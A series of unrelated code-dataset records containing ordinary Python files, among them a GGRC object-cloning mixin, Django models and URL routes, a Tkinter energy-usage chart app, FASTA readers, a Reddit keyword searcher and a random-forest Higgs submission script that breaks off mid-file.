exceptions.BadRequest(\"sourceObjectIds parameter wasn't provided\")\n source_objs = cls.query.options(\n sa.orm.subqueryload('custom_attribute_definitions'),\n sa.orm.subqueryload('custom_attribute_values'),\n ).filter(cls.id.in_(source_ids)).all()\n\n dest_query = query.get(\"destination\", {})\n destination = None\n if dest_query and dest_query.get(\"type\") and dest_query.get(\"id\"):\n destination_cls = inflector.get_model(dest_query.get(\"type\"))\n destination = destination_cls.query.filter_by(\n id=dest_query.get(\"id\")\n ).first()\n\n mapped_types = {\n type_ for type_ in query.get(\"mappedObjects\", [])\n if type_ in cls.CLONEABLE_CHILDREN\n }\n return source_objs, destination, mapped_types\n\n @classmethod\n def handle_model_clone(cls, query):\n \"\"\"Process cloning of objects.\n\n Args:\n query: Dict with parameters for cloning procedure. It should have\n following structure:\n {\n \"sourceObjectIds\": [1, 2],\n \"destination\": {\"type\": \"Audit\", \"id\": 2}, # optional\n \"mappedObjects\":[] # optional\n }.\n\n Returns:\n Response with status code 200 in case of success and 400 if provided\n parameters are invalid.\n \"\"\"\n source_objs, destination, mapped_types = cls._parse_query(query)\n\n clonned_objs = {}\n for source_obj in source_objs:\n if (\n not permissions.is_allowed_read_for(source_obj) or\n not permissions.is_allowed_create(\n source_obj.type, source_obj.id, destination.context_id\n )\n ):\n raise exceptions.Forbidden()\n clonned_objs[source_obj] = cls._copy_obj(source_obj, destination)\n\n for target, mapped_obj in cls._collect_mapped(source_objs, mapped_types):\n clonned_objs[mapped_obj] = cls._copy_obj(mapped_obj, target)\n\n cls._set_parent_context(clonned_objs.values(), destination)\n db.session.flush()\n\n for source, clonned in clonned_objs.items():\n cls._clone_cads(source, clonned)\n\n if clonned_objs:\n db.session.add(log_event(db.session, flush=False))\n db.session.commit()\n\n from ggrc.query import views\n collections = []\n if cls.RETURN_OBJ_JSON:\n for obj in clonned_objs:\n collections.append(\n views.build_collection_representation(cls, obj.log_json())\n )\n return views.json_success_response(collections, datetime.datetime.utcnow())\n\n def _clone(self, target=None):\n \"\"\"Create a copy of self.\n\n This method should be overridden for class that implement Clonable mixin.\n\n Args:\n target: Destination object where clonned object should be created.\n\n Returns:\n Instance of object copy.\n \"\"\"\n raise NotImplementedError()\n\n @classmethod\n def _copy_obj(cls, source, target=None):\n \"\"\"Make object copy of source into target as destination.\n\n Source will be cloned and mapped to target if it's provided.\n\n Args:\n source: Object that should be clonned.\n target: Destination for coppied object.\n\n Returns:\n Cloned object.\n \"\"\"\n # pylint: disable=protected-access\n clonned_object = source._clone(target)\n if target:\n db.session.add(relationship.Relationship(\n source=target,\n destination=clonned_object,\n ))\n return clonned_object\n\n @classmethod\n def _clone_cads(cls, source, target):\n \"\"\"Clone CADs from source to target.\n\n Args:\n source: Object with CADs.\n target: Object in which CADs should be copied.\n \"\"\"\n for cad in source.custom_attribute_definitions:\n # Copy only local CADs\n if cad.definition_id:\n # pylint: disable=protected-access\n cad._clone(target)\n\n @classmethod\n def _collect_mapped(cls, source_objs, mapped_types):\n \"\"\"Collect mapped objects.\n\n Args:\n source_objs: List of objects for which mapped should be collected.\n mapped_types: List of possible types of mapped objects.\n\n Returns:\n List of tuples containing source and mapped object\n [(source1, mapped1), (source2, mapped2), ...].\n \"\"\"\n if not mapped_types:\n return []\n\n source_ids = {obj.id: obj for obj in source_objs}\n related_data = db.session.query(\n relationship.Relationship.source_id,\n relationship.Relationship.destination_type,\n relationship.Relationship.destination_id,\n ).filter(\n relationship.Relationship.source_type == cls.__name__,\n relationship.Relationship.source_id.in_(source_ids),\n relationship.Relationship.destination_type.in_(mapped_types)\n ).union_all(\n db.session.query(\n relationship.Relationship.destination_id,\n relationship.Relationship.source_type,\n relationship.Relationship.source_id,\n ).filter(\n relationship.Relationship.destination_type == cls.__name__,\n relationship.Relationship.destination_id.in_(source_ids),\n relationship.Relationship.source_type.in_(mapped_types)\n )\n ).all()\n\n related_objs = cls.load_objs(related_data)\n\n source_related_objs = []\n for src_id, rel_type, rel_id in related_data:\n source_related_objs.append(\n (source_ids[src_id], related_objs[rel_type][rel_id])\n )\n return source_related_objs\n\n @classmethod\n def load_objs(cls, data):\n \"\"\"Load objects by their ids and types.\n\n Args:\n data: List of stubs [(_, type, id),] for objects to load.\n\n Returns:\n Dict with object type and id as keys and instance as value.\n \"\"\"\n # Combine ids of one type together to load in one query\n type_ids = defaultdict(set)\n for _, type_, id_ in data:\n type_ids[type_].add(id_)\n\n type_id_objs = defaultdict(dict)\n # We can't load all objects with different types in one step, so we\n # load them for each type separately\n for type_, ids in type_ids.items():\n related_model = inflector.get_model(type_)\n related_query = related_model.query.options(\n sa.orm.subqueryload('custom_attribute_definitions'),\n ).filter(related_model.id.in_(ids))\n for related in related_query:\n type_id_objs[type_][related.id] = related\n return type_id_objs\n\n @classmethod\n def _set_parent_context(cls, objs, parent):\n \"\"\"Set up parent context to child objects.\n\n Args:\n clonned_objs: List of objects where context should be changed.\n parent: Parent object which determine context for children.\n \"\"\"\n if not getattr(parent, \"context_id\", None):\n return\n for clonned in objs:\n clonned.context_id = parent.context_id\n","sub_path":"src/ggrc/models/mixins/clonable.py","file_name":"clonable.py","file_ext":"py","file_size_in_byte":10301,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"610336021","text":"#!/usr/bin/python3\n\"\"\" Module to get url response \"\"\"\nimport urllib.request\nimport sys\n\nif __name__ == \"__main__\":\n url = sys.argv[1]\n data = urllib.parse.urlencode({\"email\": sys.argv[2]})\n data = data.encode('ascii')\n with urllib.request.urlopen(sys.argv[1], data) as resp:\n a = resp.read()\n print(a.decode('utf-8'))\n","sub_path":"0x11-python-network_1/2-post_email.py","file_name":"2-post_email.py","file_ext":"py","file_size_in_byte":341,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"199857343","text":"# -*- coding: utf-8 -*-\nfrom django.db import models\nfrom django.utils.text import slugify\n\nfrom . import BOARD_KANBAN, BOARD_SCRUM, BOARD_TYPES\nfrom .managers import SprintManager\nfrom tragile.project.models import Project\n\n\nclass Sprint(models.Model):\n \"\"\"\n Sprint model\n \"\"\"\n name = models.CharField(max_length=255)\n code_name = models.SlugField()\n project = models.ForeignKey(Project)\n start = models.DateField(null=True, blank=True)\n end = models.DateField(null=True, blank=True)\n\n board_type = models.CharField(\n max_length=9,\n choices=BOARD_TYPES.items(),\n default=BOARD_SCRUM,\n )\n\n # creation, update times\n created_at = models.DateTimeField(auto_now_add=True)\n updated_at = models.DateTimeField(auto_now=True)\n\n objects = SprintManager()\n\n class Meta:\n unique_together = ('project', 'code_name')\n get_latest_by = 'created_at'\n ordering = ('-created_at',)\n verbose_name = 'Sprint'\n verbose_name_plural = 'Sprints'\n\n def save(self, *args, **kwargs):\n name = slugify(self.name)\n code_name = name\n i = 0\n while type(self).objects.filter(code_name=code_name).exists():\n i += 1\n code_name = \"-\".join([name, str(i)])\n self.code_name = code_name\n super(Project, self).save(*args, **kwargs)\n\n def __unicode__(self):\n return self.name\n\n def board_details(self):\n \"\"\"\n \"Pretty\" display information about board\n\n :return: Board ifnormation\n :rtype: str\n \"\"\"\n if self.board_type == BOARD_SCRUM:\n return \"%s (%s - %s)\" % (\n BOARD_TYPES[BOARD_SCRUM],\n self.start,\n self.end,\n )\n\n return BOARD_TYPES[BOARD_KANBAN]\n","sub_path":"tragile/sprint/models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":1804,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"41939522","text":"import sys, string, nltk\nimport pandas as pd\nimport numpy as np\nfrom nltk.tokenize import TweetTokenizer\nfrom nltk.stem.snowball import SnowballStemmer\nfrom nltk.corpus import stopwords\nfrom itertools import chain\nfrom sklearn.preprocessing import LabelEncoder\nfrom kmeans.JaccardKMeans import JaccardKMeans\n#nltk.download(\"stopwords\")\t### stopwords corpus here; download if code doesn't run\n\ndef main(argv):\n\t\n\t\n\tif len(argv) is not 4:\n\t\tprint(\"Expecting four arguments: \")\n\t\tsys.exit()\n\t\n\tk = argv[0]\n\tseeds = argv[1]\n\ttweets = argv[2]\n\toutput = argv[3]\n\t\n\t'''\n\tk = 5\n\tseeds = 'InitialSeeds.txt'\n\ttweets = 'Tweets.json'\n\t'''\n\t\n\t\n\t# get some seeds\n\twith open(seeds) as s:\n\t\tseeds = s.readlines()\n\tseeds = [seed.replace(',\\n', '') for seed in seeds]\n\tseeds = pd.DataFrame(seeds, columns = ['id'])\n\tseeds['id'] = seeds['id'].astype(np.int64)\n\tseeds = seeds.sample(int(k))\n\t\n\t# load data\n\twith open(tweets) as f:\n\t\tlines = f.readlines()\n\tdf = pd.read_json(lines[0])\n\tfor i in range(1, len(lines)):\n\t\tnew_line = pd.read_json(lines[i], dtype = {'id': 'category'})\n\t\tdf = df.append(new_line)\n\t\t\n\t# keep only id and tweets\t\t################### CHECK DROPPED COLUMNS HERE\n\tfor col in df.columns:\t\t\t\t\t\t####### YOU LOST THE CORRECT IDs SOMEWHERE\n\t\tif col != 'id' and col != 'text':\n\t\t\tdf = df.drop(col, 1)\n\t\n\t# clean a little and tokenize\n\ttweet_tokenizer = TweetTokenizer(reduce_len = True, preserve_case = False, strip_handles = True)\n\ttweets = df['text']\n\ttweet_tokens = [tweet_tokenizer.tokenize(tweet) for tweet in tweets]\n\tnew_tweets = [\" \".join(tokens) for tokens in tweet_tokens]\n\t\n\t# clean more\n\ttweet_tokenizer = TweetTokenizer(reduce_len = True)\n\tpunctuations = list(string.punctuation)\n\tpunctuations.append('rt')\n\ttweet_tokens = [tweet_tokenizer.tokenize(tweet) for tweet in new_tweets]\n\ttweet_tokens = [[token for token in tokens if token not in punctuations] for tokens in tweet_tokens]\n\ttweet_tokens = [[token for token in tokens if token.find('http') == -1] for tokens in tweet_tokens]\n\ttweet_tokens = [[token for token in tokens if token.find('#') == -1] for tokens in tweet_tokens]\n\ttweet_tokens = [[token for token in tokens if token.find('...') == -1] for tokens in tweet_tokens]\n\ttweet_tokens = [[token for token in tokens if token.find('@') == -1] for tokens in tweet_tokens]\n\t\n\t# more cleaning\n\tfor digit in string.digits:\n\t\ttweet_tokens = [[token for token in tokens if token.find(digit) == -1] \n\t\t\t\t\t\t for tokens in tweet_tokens]\n\tfor single_char in string.ascii_lowercase.replace('i', ''):\n\t\ttweet_tokens = [[token for token in tokens if token != single_char]\n\t\t\t\t\t\t for tokens in tweet_tokens]\n\ttweet_tokens = [[token for token in tokens if len(token) != 1 or token == 'i']\n\t\t\t\t\t for tokens in tweet_tokens]\n\t\t\t\t\t \n\t# stemming and stop words removal\n\tstops = list(stopwords.words('english'))\n\ttweet_tokens = [[token for token in tokens if token not in stops] \n\t\t\t\t\t for tokens in tweet_tokens]\n\tstemmer = SnowballStemmer(\"english\")\n\ttweet_tokens = [[stemmer.stem(token) for token in tokens]\n\t\t\t\t\t for tokens in tweet_tokens]\n\n\t# encode to numeric labels\n\tjust_tokens = list(chain.from_iterable(tweet_tokens))\n\tencoder = LabelEncoder()\n\tencoder.fit(just_tokens)\n\ttweet_labels = [encoder.transform(tweet) for tweet in tweet_tokens]\n\t\n\t# now we have sets for computing Jaccard\n\ttweet_sets = [set(tweet) for tweet in tweet_labels]\n\t\n\t# prepare for kmeans algorithm:\n\tdf = df.drop('text', 1)\n\tdf['tweets'] = tweet_sets\n\t\n\t# kmeans magic\n\tkm = JaccardKMeans(df, seeds)\n\tkm.output_clusters(output)\n\t\n\t\nif __name__ == \"__main__\":\n\tmain(sys.argv[1:])\n\t\n\t\n\t\n\t\n\t\n\t\n\t\n","sub_path":"k-means tweets via jaccard/tweets-k-means.py","file_name":"tweets-k-means.py","file_ext":"py","file_size_in_byte":3626,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"27240263","text":"import csv\nimport matplotlib.pyplot as plt\nimport matplotlib\nimport numpy as np\nimport sys\n\nmatplotlib.rcParams['font.sans-serif'] = ['SimHei']\nmatplotlib.rcParams['axes.unicode_minus'] = False\n\ndef log(msg, *args):\n if args:\n msg = msg % args\n print >>sys.stderr, msg\n\ntrue = list()\nest = list()\nwith open(\"../_tmp/true_counts.csv\", 'rb') as myFile:\n csv_out = csv.reader(myFile)\n\n for row in csv_out:\n for i in row:\n true.append(int(i))\n\nwith open(\"../_tmp/est_counts.csv\", 'rb') as f:\n csv_out1 = csv.reader(f)\n for row in csv_out1:\n for i in row:\n est.append(float(i))\n\n# -------------------- Calculating Error --------------------\na_true = np.array(true)\na_est = np.array(est)\nrelative_error = np.average(np.abs(a_true - a_est) / a_true, axis=0)\naverage_error = np.average(np.abs(a_true-a_est),axis=0)\nlog(\"relative error is: %s\" %relative_error)\nlog(\"average_error is: %s\" %average_error)\n\nplt.bar(range(1,true.__len__()+1),true, color =\"#56B4E9\")\nplt.bar(range(1,est.__len__()+1), est, color = \"#E69F00\")\nplt.savefig(\"test.png\")\nplt.show()\n","sub_path":"bin-rr/test/compare_dist.py","file_name":"compare_dist.py","file_ext":"py","file_size_in_byte":1101,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"260101408","text":"import pygame\nimport os\nimport sys\nfrom random import randint\nfrom pygame.locals import *\nEXEC_DIR = os.path.dirname(__file__)\n\n\nclass Face(pygame.sprite.Sprite):\n def __init__(self, type):\n pygame.sprite.Sprite.__init__(self)\n self.type = type\n if sys.platform == \"darwin\":\n face_path = \"assets_faces\"\n else:\n face_path = os.path.join(EXEC_DIR, \"assets_faces\")\n if self.type == \"happy\":\n self.image = pygame.image.load(os.path.join(face_path,\"HAPPY_FACE.png\"))\n elif self.type == \"sad\":\n self.image = pygame.image.load(os.path.join(face_path, \"SAD_FACE.png\"))\n self.rect = self.image.get_rect()\n self.rect.topleft = [250, 350]\n self.lifespan = 15 \n \n def update(self):\n self.lifespan -= 1\n if self.type == \"happy\":\n x, y = (randint(1,500), randint(1,500))\n else:\n x, y = [250, 350]\n self.rect.topleft = [x, y]\n\n def reset(self):\n self.lifespan = 25","sub_path":"faces.py","file_name":"faces.py","file_ext":"py","file_size_in_byte":1025,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"335608166","text":"\nimport pandas as pd\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport tkinter as tk\nfrom tkinter import ttk\nfrom tkinter import filedialog as fd\nimport tkinter.font as tkFont\nfrom pandas import DataFrame\n\nfrom matplotlib.backends.backend_tkagg import FigureCanvasTkAgg, NavigationToolbar2Tk\nfrom matplotlib.figure import Figure\nclass App:\n def __init__(self, root):\n dpi = root.winfo_fpixels(100)\n # frame for buttons and root controls\n self.controls = tk.Frame(root)\n self.controls.pack(ipadx=10, ipady=10)\n # frame for Bar charts\n self.graphs = tk.Frame(root)\n self.graphs.pack(side=tk.BOTTOM,\n padx=5, pady=5,\n fill=tk.BOTH, expand=True)\n # changed title\n root.title(\"ALPHTEAM\")\n # changed window size\n width = 700\n height = 600\n screenwidth = root.winfo_screenwidth()\n screenheight = root.winfo_screenheight()\n alignstr = '%dx%d+%d+%d' % (width, height,\n (screenwidth - width) / 2, (screenheight - height) / 2)\n root.geometry(alignstr)\n root.resizable(width=False, height=False)\n \n self.loadbutton = tk.Button(root)\n self.loadbutton[\"bg\"] = \"#efefef\"\n ft = tkFont.Font(family='Times', size=10)\n self.loadbutton[\"font\"] = ft\n self.loadbutton[\"fg\"] = \"#000000\"\n self.loadbutton[\"justify\"] = \"center\"\n self.loadbutton[\"text\"] = \"Load file\"# changed Button\n self.loadbutton.place(x=70, y=15, width=70, height=25)\n self.loadbutton[\"command\"] = self.loadfile_command\n\n self.selectorcombo = ttk.Combobox(root)\n self.selectorcombo.place(x=550, y=15, width=80, height=25)\n self.selectorcombo.bind(\"<>\", self.hCombo_city_selected)\n\n self.filename = tk.Label(root)\n ft = tkFont.Font(family='Times', size=10)\n self.filename[\"font\"] = ft\n self.filename[\"fg\"] = \"#333333\"\n self.filename[\"justify\"] = \"center\"\n self.filename[\"text\"] = \"file name\"#Changed Label \n self.filename.place(x=150, y=15, width=70, height=25)\n \n self.townselectorlabel = tk.Label(root)\n ft = tkFont.Font(family='Times', size=10)\n self.townselectorlabel[\"font\"] = ft\n self.townselectorlabel[\"fg\"] = \"#333333\"\n self.townselectorlabel[\"justify\"] = \"center\"\n self.townselectorlabel[\"text\"] = \"Select town\"#Changed Label \n self.townselectorlabel.place(x=450, y=15, width=70, height=25)\n \n self.Canvas_upleft = tk.Frame(self.graphs)\n self.Canvas_upleft.place(relx=0, rely=0,\n relwidth=0.5, relheight=0.5)\n self.fig1 = plt.figure(dpi=100)\n self.ax1 = self.fig1.add_subplot(111)\n self.ax1.text(0.1,0.5,\"choose a file\", fontsize=10)\n self.chart1 = FigureCanvasTkAgg(self.fig1, self.Canvas_upleft)\n self.chart1.get_tk_widget().pack(padx=5, pady=5,\n side=tk.BOTTOM,\n fill=tk.BOTH, expand=True)\n self.Canvas_upright = tk.Frame(self.graphs)\n self.Canvas_upright.place(relx=0.5, rely=0,\n relwidth=0.5, relheight=0.5)\n self.fig2 = plt.figure(dpi=100)\n self.ax2 = self.fig2.add_subplot(111)\n self.ax2.text(0.1,0.5,\"choose a file \", fontsize=10)\n self.chart2 = FigureCanvasTkAgg(self.fig2, self.Canvas_upright)\n self.chart2.get_tk_widget().pack(padx=5, pady=5,\n side=tk.BOTTOM,\n fill=tk.BOTH, expand=True)\n self.Canvas_botleft = tk.Frame(self.graphs)\n self.Canvas_botleft.place(relx=0, rely=0.5,\n relwidth=0.5, relheight=0.5)\n self.fig3 = plt.figure(dpi=100)\n self.ax3 = self.fig3.add_subplot(111)\n self.ax3.text(0.1,0.5,\"choose a file \", fontsize=10)\n self.chart3 = FigureCanvasTkAgg(self.fig3, self.Canvas_botleft)\n self.chart3.get_tk_widget().pack(padx=5, pady=5,\n side=tk.BOTTOM,\n fill=tk.BOTH, expand=True)\n self.Canvas_botright = tk.Frame(self.graphs)\n self.Canvas_botright.place(relx=0.5, rely=0.5,\n relwidth=0.5, relheight=0.5)\n self.fig4 = plt.figure(dpi=100)\n self.ax4 = self.fig4.add_subplot(111)\n self.ax4.text(0.1,0.5,\"choose a file\", fontsize=10)\n self.chart4 = FigureCanvasTkAgg(self.fig4, self.Canvas_botright)\n self.chart4.get_tk_widget().pack(padx=5, pady=5,\n side=tk.BOTTOM,\n fill=tk.BOTH, expand=True)\n def loadfile_command(self):\n filePath = fd.askopenfilename(initialdir='.')\n try:\n self.csv_contents = pd.read_csv(filePath)\n self.csv_cleaned = self.csv_contents.dropna()\n self.selectorcombo['values'] = list(self.csv_cleaned['COMMUNITY AREA NAME'].unique())\n self.filename[\"text\"] = filePath\n except:\n tk.messagebox.showinfo(\"Nope\",\"NOPE \")\n\n # desired behavior: select one area, show 4 plots drawn on 4 canvases of that area: \n # top left: bar chart, average KWH by month\n # top right: bar chart, average THERM by month\n # bottom left and bottom right up to you\n def hCombo_city_selected(self, event=None):\n selected_city = self.selectorcombo.get()\n print(f\"Selected city: {selected_city}\")\n self.subfields = self.csv_cleaned.loc[self.csv_cleaned['COMMUNITY AREA NAME'] == self.selectorcombo.get()]\n print(self.subfields.head())\n x_axis = 'months [in numbers]'\n y_axis='energy [kwh]'\n def upleft(self):\n # Figure = KWH Average by month\n self.ax1.clear()\n janind = self.subfields.columns.get_loc(\"KWH JANUARY 2010\")\n self.ax1.bar(range(1, 13),\n (self.subfields.iloc[:, range(janind, (janind + 12))]).mean())\n self.ax1.set_title('KWH average value per month')\n self.ax1.set_xlabel(x_axis); self.ax1.set_ylabel(y_axis)\n self.chart1.draw()\n def upright(self):\n # Figure = THERM value by month\n self.ax2.clear()\n janind = self.subfields.columns.get_loc(\"THERM JANUARY 2010\")\n self.ax2.bar(range(1, 13),\n (self.subfields.iloc[:, range(janind, (janind + 12))]).mean())\n self.ax2.set_title('THERM average value per month')\n self.ax2.set_xlabel(x_axis); self.ax2.set_ylabel(y_axis)\n self.chart2.draw()\n def botleft(self):\n # Figure = Max KWH value by month \n self.ax3.clear()\n janind = self.subfields.columns.get_loc(\"KWH JANUARY 2010\")\n self.ax3.bar(range(1, 13),\n (self.subfields.iloc[:, range(janind, (janind + 12))]).max())\n self.ax3.set_title('KWH Max value per month')\n self.ax3.set_xlabel(x_axis); self.ax1.set_ylabel(y_axis)\n self.chart3.draw()\n def botfig(self):\n # Figure = Min THERM value by month\n self.ax4.clear()\n janind = self.subfields.columns.get_loc(\"THERM JANUARY 2010\")\n self.ax4.bar(range(1, 13),\n (self.subfields.iloc[:, range(janind, (janind + 12))]).min())\n self.ax4.set_title('THERM min value per month')\n self.ax4.set_xlabel(x_axis);self.ax1.set_ylabel(y_axis)\n self.chart4.draw()\n upleft(self)\n upright(self)\n botleft(self)\n botfig(self)\n\ndef main():\n root = tk.Tk()\n app = App(root)\n root.mainloop()\n\nif __name__ == \"__main__\":\n main()","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":7936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"429762720","text":"import re\n\ndef read_fasta(file):\n '''Reads multiple sequences on a fasta file. Returns a list of the sequences'''\n seqs=[]\n seq=\"\"\n lines=open(file).readlines()\n limit=len(lines)-1\n for i in range(limit):\n if lines[i][0] == '>':\n j=i+1\n while j<=limit and lines[j][0]!='>':\n seq+=lines[j].strip()\n j+=1\n seqs.append(seq)\n seq=\"\"\n return seqs\n\ndef read_fasta_titles(file):\n '''Reads the titles of multiple sequences on a fasta file. Returns a list of the titles. '''\n seqs=[]\n seq=\"\"\n lines=open(file).readlines()\n limit=len(lines)-1\n for i in range(limit):\n if lines[i][0] == '>':\n seq=lines[i].strip()\n seqs.append(seq)\n seq=\"\"\n return seqs\n\n\n\ndef read_fasta_specie(file):\n '''Reads the species of the sequence indated between [ ] '''\n seqs=[]\n seq=\"\"\n lines=open(file).readlines()\n limit=len(lines)-1\n for i in range(limit):\n if lines[i][0] == '>':\n seq=lines[i].strip()\n seqs.append(seq)\n seq=\"\"\n species=[]\n for title in seqs:\n sp=re.findall(r\"\\[(.*?)\\]\", title)\n species+=sp\n return species\n \ndef export_fasta(file, seqs, seqsID=None):\n file=open(\"%s.txt\" % (file), \"w\" )\n if seqsID != None:\n for i in range(len(seqsID)):\n _=file.write(\"> %s \\n\" % (seqsID[i]))\n _=file.write(seqs[i] + \"\\n\\n\")\n else:\n for i in range(len(seqs)):\n _=file.write(\"> Sequence %s \\n\" % (i+1))\n _=file.write(seqs[i] + \"\\n\\n\")\n file.close()\n","sub_path":"Sequence_import.py","file_name":"Sequence_import.py","file_ext":"py","file_size_in_byte":1638,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"273202733","text":"from decimal import Decimal\nfrom django.conf import settings\nfrom products.models import Product\nfrom django.shortcuts import get_object_or_404\n\n\ndef bag_contents(request):\n \"\"\" Ensures bag dictionary is available to all templates across site \"\"\"\n bag_items = []\n total = 0\n product_count = 0\n # get session 'bag', or initialise an empty dict\n bag = request.session.get('bag', {})\n\n # iterate through items in session 'bag' to get context details\n for item_id, item_data in bag.items():\n product = get_object_or_404(Product, pk=item_id)\n # if item_data is an int, item has no size\n if isinstance(item_data, int):\n product = get_object_or_404(Product, pk=item_id)\n total += item_data * product.price\n product_count += item_data\n bag_items.append({\n 'item_id': item_id,\n 'quantity': item_data,\n # include product object to make the objects\n # accessible across all templates\n 'product': product,\n })\n # if item_data is a dict, item has sizes\n else:\n for size, quantity in item_data['items_by_size'].items():\n total += quantity * product.price\n product_count += quantity\n bag_items.append({\n 'item_id': item_id,\n 'quantity': quantity,\n 'product': product,\n 'size': size,\n })\n\n if total < settings.FREE_DELIVERY_THRESHOLD:\n delivery = total * Decimal(settings.STANDARD_DELIVERY_PERCENTAGE / 100)\n free_delivery_delta = settings.FREE_DELIVERY_THRESHOLD - total\n else:\n delivery = 0\n free_delivery_delta = 0\n\n grand_total = delivery + total\n\n context = {\n 'bag_items': bag_items,\n 'total': total,\n 'product_count': product_count,\n 'delivery': delivery,\n 'free_delivery_delta': free_delivery_delta,\n 'free_delivery_threshold': settings.FREE_DELIVERY_THRESHOLD,\n 'grand_total': grand_total,\n }\n\n return context\n","sub_path":"bag/contexts.py","file_name":"contexts.py","file_ext":"py","file_size_in_byte":2130,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"350261831","text":"from django.conf import settings\nfrom django.conf.urls import include, url\nfrom django.contrib.staticfiles.urls import static, staticfiles_urlpatterns\n\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.index, name='index'),\n url(r'^accounts/login/$', views.login, name='login'),\n url(r'^accounts/logout/$', views.logout, name='logout'),\n url(r'^catalogue/$', views.catalogue, name='catalogue'),\n url(r'^to_basket/(?P[0-9]+)/$', views.to_basket, name='to_basket'),\n url(r'^cleanup_basket/$', views.cleanup_basket, name='cleanup_basket'),\n url(r'^basket/$', views.basket, name='basket'),\n url(r'^card/(?P[0-9]+)/$', views.card, name='card'),\n] \nurlpatterns += staticfiles_urlpatterns()\nurlpatterns += static(settings.MEDIA_URL, document_root=settings.MEDIA_ROOT)\n","sub_path":"root_app/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":814,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"221647152","text":"import requests\nimport json\nimport sys\nimport re\n\n\nclass Reddit:\n def __init__(self):\n self._apiurl = \"https://api.reddit.com\"\n self._headers = {\"User-Agent\": \"python./all-searcher:v1.(by /u/zhiwenh)\"}\n self._jsondump = False\n\n # searches a certain page count of /r/subreddit for certain keywords\n def all_search(self, search, subreddit=\"all\", pages=1):\n i = 0\n after = []\n # each iteration creates JSON data of one page of Reddit material\n while i < pages:\n if i == 0:\n print(\"### Reddit Page 1 ###\")\n print()\n response = requests.get((self._apiurl + \"/r/\" +subreddit), headers=self._headers)\n data = response.json()\n after.append(data[\"data\"][\"after\"]) # use the after key in the JSON date and add it to the next url\n if response.status_code != 200:\n print(\"Response status code: {}\".format(response.status_code))\n sys.exit()\n else:\n print()\n print(\"### Reddit Page {} ###\".format(i+1))\n print()\n # i*25 is to simulate real reddit url count\n response = requests.get((self._apiurl + \"/r/\" + subreddit\n + \"/?count=\" + str(i*25) + \"&after=\" + after[i-1]), headers=self._headers)\n data = response.json()\n after.append(data[\"data\"][\"after\"])\n\n # iterates through each of the links on the Reddit page\n children = data[\"data\"][\"children\"]\n for j, listing in enumerate(children):\n # uses a regex with the search group and its respective search keyword. Prints link if match\n for group in search:\n # print(\"Searching thru {}\".format(group))\n pattern = re.compile(search[group], re.IGNORECASE)\n value = children[j][\"data\"][group]\n if re.search(pattern, value):\n print('Found a match in \"{}\" w/ keyword \"{}\"'.format(group, search[group]))\n link = \"http://www.reddit.com\" + children[j][\"data\"][\"permalink\"]\n print(\"Link: {}\".format(link))\n print()\n\n # dumps the page JSON data into jsondumpx.txt if True\n if self._jsondump is True:\n with open(\"jsondump\" + str(i+1) + \".txt\", \"w\") as f:\n print(\"Dumping JSON data. Page {}\".format(i+1))\n json.dump(data, f, indent=4)\n i += 1\n\ndef main():\n reddit = Reddit()\n\n # Can search from {\"title\", \"author\", \"subreddit\", \"url\", \"domain\" \"permalink\"}\n search = {\"title\": \"donald|sanders|hilary\", \"subreddit\": \"donald|sanders\"} # only strings\n\n # Pages to search through\n pages = 5\n\n # Subreddit to search through\n subreddit = \"all\"\n\n reddit.all_search(search=search, subreddit=subreddit, pages=pages)\n\nif __name__ == \"__main__\":\n main()\n","sub_path":"reddit-searcher-lite.py","file_name":"reddit-searcher-lite.py","file_ext":"py","file_size_in_byte":3062,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"}
+{"seq_id":"66393493","text":"\"\"\"Submission on Higgs ML Data with random forest\"\"\"\n\nimport os\nimport argparse\nimport pickle\nfrom pprint import pprint\n\nimport matplotlib.pyplot as plt\nplt.style.use('ggplot')\nfrom sklearn.ensemble import RandomForestClassifier\nimport numpy as np\nimport pandas as pd\nfrom hyperopt import space_eval\nfrom sklearn.impute import SimpleImputer\n\nfrom randomforest_hyperopt import PARAMS_SPACE\nfrom utils import *\n\n\ndef parse_args():\n parser = argparse.ArgumentParser()\n parser.add_argument('--seed', type=int, help='random generators seed (default: None)')\n parser.add_argument('--logdir', type=str, default='./', help='save directory')\n args = parser.parse_args()\n return args\n\nif __name__ == '__main__':\n\n args = parse_args()\n\n if args.seed is not None:\n # random seed for reproducibility\n np.random.seed(42)\n\n df_train, df_test = get_kaggle_datasets()\n\n # prepare datasets\n imputer = SimpleImputer(strategy='median')\n train_data, train_target, train_weights = prepare_kaggle_dataset(df_train, True, imputer)\n test_data = prepare_kaggle_dataset(df_test, False, imputer)\n\n # load Trials object from hyperopt search in log dir\n with open(os.path.join(args.logdir, 'Trials-randomforest.pkl'), 'rb') as file:\n trials = pickle.load(file)\n\n #print(\"All Losses:\\n\", trials.losses())\n #print(\"First result\\n:\", trials.results[0])\n # get all losses\n all_ams = [-ams for ams in trials.losses()]\n # extract the best Trial among all\n bidx = np.argmax(all_ams)\n bresult = trials.results[bidx]\n ams, ams_var = -bresult['loss'], bresult['loss_variance'],\n threshold, threshold_var = bresult['threshold'], bresult['threshold_variance']\n\n bparams = trials.argmin\n bparams = space_eval(PARAMS_SPACE, bparams)\n # retrain the model with best set of parameters on full training set\n print('Training on train set...')\n clf = RandomForestClassifier(**bparams)\n clf.fit(train_data, train_target)\n 